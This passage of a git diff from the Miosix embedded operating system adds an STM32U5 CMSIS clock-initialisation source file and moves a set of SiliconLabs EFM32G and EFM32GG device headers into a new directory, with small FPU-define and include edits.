****************************************************************************** + */ + +/** @addtogroup CMSIS + * @{ + */ + +/** @addtogroup STM32U5xx_system + * @{ + */ + +/** @addtogroup STM32U5xx_System_Private_Includes + * @{ + */ + +#include "board_settings.h" +#include +#include + +/** + * @} + */ + +/** @addtogroup STM32U5xx_System_Private_TypesDefinitions + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32U5xx_System_Private_Defines + * @{ + */ + +#if !defined (MSI_VALUE) + #define MSI_VALUE 4000000U /*!< Value of the Internal oscillator in Hz*/ +#endif /* MSI_VALUE */ + +#if !defined (HSI_VALUE) + #define HSI_VALUE 16000000U /*!< Value of the Internal oscillator in Hz*/ +#endif /* HSI_VALUE */ + +/************************* Miscellaneous Configuration ************************/ +/*!< Uncomment the following line if you need to relocate your vector Table in + Internal SRAM. */ +/* #define VECT_TAB_SRAM */ +#if !defined(VECT_TAB_OFFSET) +#define VECT_TAB_OFFSET 0x00000000UL /*!< Vector Table base offset field. + This value must be a multiple of 0x200. */ +#endif /* VECT_TAB_OFFSET */ +/******************************************************************************/ + +/** + * @} + */ + +/** @addtogroup STM32U5xx_System_Private_Macros + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32U5xx_System_Private_Variables + * @{ + */ + /* The SystemCoreClock variable is updated in three ways: + 1) by calling CMSIS function SystemCoreClockUpdate() + 2) by calling HAL API function HAL_RCC_GetHCLKFreq() + 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency + Note: If you use this function to configure the system clock; then there + is no need to call the 2 first functions listed above, since SystemCoreClock + variable is updated automatically. + */ +uint32_t SystemCoreClock = miosix::cpuFrequency; +const uint8_t AHBPrescTable[16] = {0U, 0U, 0U, 0U, 0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U, 6U, 7U, 8U, 9U}; +const uint8_t APBPrescTable[8] = {0U, 0U, 0U, 0U, 1U, 2U, 3U, 4U}; +const uint32_t MSIRangeTable[16] = {48000000U,24000000U,16000000U,12000000U, 4000000U, 2000000U, 1330000U,\ + 1000000U, 3072000U, 1536000U,1024000U, 768000U, 400000U, 200000U, 133000U, 100000U}; +/** + * @} + */ + +/** @addtogroup STM32U5xx_System_Private_FunctionPrototypes + * @{ + */ + +/** + * @} + */ + +/** @addtogroup STM32U5xx_System_Private_Functions + * @{ + */ + +/** + * @brief Setup the microcontroller system. + * @param None + * @retval None + */ + +void SystemInit(void) +{ + /* FPU settings ------------------------------------------------------------*/ + #if (__FPU_PRESENT == 1) && (__FPU_USED == 1) + SCB->CPACR |= ((3UL << 20U)|(3UL << 22U)); /* set CP10 and CP11 Full Access */ + #endif + + /* Reset the RCC clock configuration to the default reset state ------------*/ + /* Set MSION bit */ + RCC->CR = RCC_CR_MSISON; + + /* Reset CFGR register */ + RCC->CFGR1 = 0U; + RCC->CFGR2 = 0U; + RCC->CFGR3 = 0U; + + /* Reset HSEON, CSSON , HSION, PLLxON bits */ + RCC->CR &= ~(RCC_CR_HSEON | RCC_CR_CSSON | RCC_CR_PLL1ON | RCC_CR_PLL2ON | RCC_CR_PLL3ON); + + /* Reset PLLCFGR register */ + RCC->PLL1CFGR = 0U; + + /* Reset HSEBYP bit */ + RCC->CR &= ~(RCC_CR_HSEBYP); + + /* Disable all interrupts */ + RCC->CIER = 0U; + + /* Configure the Vector Table location add offset address ------------------*/ + #ifdef VECT_TAB_SRAM + SCB->VTOR = SRAM1_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ + #else + SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ + #endif +} + +/** + * @brief Update SystemCoreClock variable according to Clock Register Values. + * The SystemCoreClock variable contains the core clock (HCLK), it can + * be used by the user application to setup the SysTick timer or configure + * other parameters. + * + * @note Each time the core clock (HCLK) changes, this function must be called + * to update SystemCoreClock variable value. Otherwise, any configuration + * based on this variable will be incorrect. + * + * @note - The system frequency computed by this function is not the real + * frequency in the chip. It is calculated based on the predefined + * constant and the selected clock source: + * + * - If SYSCLK source is MSI, SystemCoreClock will contain the MSI_VALUE(*) + * + * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(**) + * + * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(***) + * + * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(***) + * or HSI_VALUE(*) or MSI_VALUE(*) multiplied/divided by the PLL factors. + * + * (*) MSI_VALUE is a constant defined in stm32u5xx_hal.h file (default value + * 4 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (**) HSI_VALUE is a constant defined in stm32u5xx_hal.h file (default value + * 16 MHz) but the real value may vary depending on the variations + * in voltage and temperature. + * + * (***) HSE_VALUE is a constant defined in stm32u5xx_hal.h file (default value + * 8 MHz), user has to ensure that HSE_VALUE is same as the real + * frequency of the crystal used. Otherwise, this function may + * have wrong result. + * + * - The result of this function could be not correct when using fractional + * value for HSE crystal. + * + * @param None + * @retval None + */ +void SystemCoreClockUpdate(void) +{ + uint32_t pllr, pllsource, pllm , tmp, pllfracen, msirange; + float_t fracn1, pllvco; + + /* Get MSI Range frequency--------------------------------------------------*/ + if(READ_BIT(RCC->ICSCR1, RCC_ICSCR1_MSIRGSEL) == 0U) + { + /* MSISRANGE from RCC_CSR applies */ + msirange = (RCC->CSR & RCC_CSR_MSISSRANGE) >> RCC_CSR_MSISSRANGE_Pos; + } + else + { + /* MSIRANGE from RCC_CR applies */ + msirange = (RCC->ICSCR1 & RCC_ICSCR1_MSISRANGE) >> RCC_ICSCR1_MSISRANGE_Pos; + } + + /*MSI frequency range in HZ*/ + msirange = MSIRangeTable[msirange]; + + /* Get SYSCLK source -------------------------------------------------------*/ + switch (RCC->CFGR1 & RCC_CFGR1_SWS) + { + case 0x00: /* MSI used as system clock source */ + SystemCoreClock = msirange; + break; + + case 0x04: /* HSI used as system clock source */ + SystemCoreClock = HSI_VALUE; + break; + + case 0x08: /* HSE used as system clock source */ + SystemCoreClock = miosix::hseFrequency; + break; + + case 0x0C: /* PLL used as system clock source */ + /* PLL_VCO = (HSE_VALUE or HSI_VALUE or MSI_VALUE/ PLLM) * PLLN + SYSCLK = PLL_VCO / PLLR + */ + pllsource = (RCC->PLL1CFGR & RCC_PLL1CFGR_PLL1SRC); + pllm = ((RCC->PLL1CFGR & RCC_PLL1CFGR_PLL1M)>> RCC_PLL1CFGR_PLL1M_Pos) + 1U; + pllfracen = ((RCC->PLL1CFGR & RCC_PLL1CFGR_PLL1FRACEN)>>RCC_PLL1CFGR_PLL1FRACEN_Pos); + fracn1 = (float_t)(uint32_t)(pllfracen* ((RCC->PLL1FRACR & RCC_PLL1FRACR_PLL1FRACN)>> RCC_PLL1FRACR_PLL1FRACN_Pos)); + + switch (pllsource) + { + case 0x00: /* No clock sent to PLL*/ + pllvco = (float_t)0U; + break; + + case 0x02: /* HSI used as PLL clock source */ + pllvco = ((float_t)HSI_VALUE / (float_t)pllm); + break; + + case 0x03: /* HSE used as PLL clock source */ + pllvco = ((float_t)miosix::hseFrequency / (float_t)pllm); + break; + + default: /* MSI used as PLL clock source */ + pllvco = ((float_t)msirange / (float_t)pllm); + break; + } + + pllvco = pllvco * ((float_t)(uint32_t)(RCC->PLL1DIVR & RCC_PLL1DIVR_PLL1N) + (fracn1/(float_t)0x2000) + (float_t)1U); + pllr = (((RCC->PLL1DIVR & RCC_PLL1DIVR_PLL1R) >> RCC_PLL1DIVR_PLL1R_Pos) + 1U ); + SystemCoreClock = (uint32_t)((uint32_t)pllvco/pllr); + break; + + default: + SystemCoreClock = msirange; + break; + } + /* Compute HCLK clock frequency --------------------------------------------*/ + /* Get HCLK prescaler */ + tmp = AHBPrescTable[((RCC->CFGR2 & RCC_CFGR2_HPRE) >> RCC_CFGR2_HPRE_Pos)]; + /* HCLK clock frequency */ + SystemCoreClock >>= tmp; +} + + +/** + * @} + */ + +/** + * @} + */ + +/** + * @} + */ + diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g222f128.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g222f128.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g222f128.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g222f128.h index 4de8ae385..a317cb324 100644 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g222f128.h +++ b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g222f128.h @@ -88,6 +88,8 @@ typedef enum IRQn AES_IRQn = 29, /*!< 16+29 EFM32 AES Interrupt */ } IRQn_Type; +#define __FPU_PRESENT 0 + /**************************************************************************//** * @defgroup EFM32G222F128_Core EFM32G222F128 Core * @{ @@ -220,7 +222,6 @@ typedef enum IRQn #define ANALOG_COUNT 1 #include //By TFT: fix path -#include "system_efm32g.h" /* System Header */ /** @} End of group EFM32G222F128_Part */ diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_acmp.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_acmp.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_acmp.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_acmp.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_adc.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_adc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_adc.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_adc.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_aes.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_aes.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_aes.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_aes.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_pins.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_pins.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_pins.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_pins.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_ports.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_ports.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_ports.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_af_ports.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_calibrate.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_calibrate.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_calibrate.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_calibrate.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_cmu.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_cmu.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_cmu.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_cmu.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dac.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dac.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dac.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dac.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_devinfo.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_devinfo.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_devinfo.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_devinfo.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_ch.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_ch.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_ch.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_ch.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_descriptor.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_descriptor.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_descriptor.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dma_descriptor.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmactrl.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmactrl.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmactrl.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmactrl.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmareq.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmareq.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmareq.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_dmareq.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_ebi.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_ebi.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_ebi.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_ebi.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_emu.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_emu.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_emu.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_emu.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio_p.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio_p.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio_p.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_gpio_p.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_i2c.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_i2c.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_i2c.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_i2c.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_lcd.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_lcd.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_lcd.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_lcd.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_letimer.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_letimer.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_letimer.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_letimer.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_leuart.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_leuart.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_leuart.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_leuart.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_msc.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_msc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_msc.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_msc.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_pcnt.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_pcnt.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_pcnt.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_pcnt.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_ch.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_ch.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_ch.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_ch.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_signals.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_signals.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_signals.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_prs_signals.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rmu.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rmu.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rmu.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rmu.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_romtable.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_romtable.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_romtable.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_romtable.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rtc.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rtc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rtc.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_rtc.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer_cc.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer_cc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer_cc.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_timer_cc.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_uart.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_uart.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_uart.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_uart.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_usart.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_usart.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_usart.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_usart.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_vcmp.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_vcmp.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_vcmp.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_vcmp.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_wdog.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_wdog.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_wdog.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32G/Include/efm32g_wdog.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg332f1024.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg332f1024.h similarity index 99% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg332f1024.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg332f1024.h index f9b411864..1ed6a1a29 100644 --- a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg332f1024.h +++ b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg332f1024.h @@ -98,6 +98,8 @@ typedef enum IRQn EMU_IRQn = 38, /*!< 16+38 EFM32 EMU Interrupt */ } IRQn_Type; +#define __FPU_PRESENT 0 + /**************************************************************************//** * @defgroup EFM32GG332F1024_Core EFM32GG332F1024 Core * @{ @@ -252,7 +254,6 @@ typedef enum IRQn #define ANALOG_COUNT 1 #include //By TFT: fix path -#include "system_efm32gg.h" /* System Header */ /** @} End of group EFM32GG332F1024_Part */ diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_acmp.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_acmp.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_acmp.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_acmp.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_adc.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_adc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_adc.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_adc.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_aes.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_aes.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_aes.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_aes.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_pins.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_pins.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_pins.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_pins.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_ports.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_ports.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_ports.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_af_ports.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc_ret.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc_ret.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc_ret.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_burtc_ret.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_calibrate.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_calibrate.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_calibrate.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_calibrate.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_cmu.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_cmu.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_cmu.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_cmu.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dac.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dac.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dac.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dac.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_devinfo.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_devinfo.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_devinfo.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_devinfo.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_ch.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_ch.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_ch.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_ch.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_descriptor.h 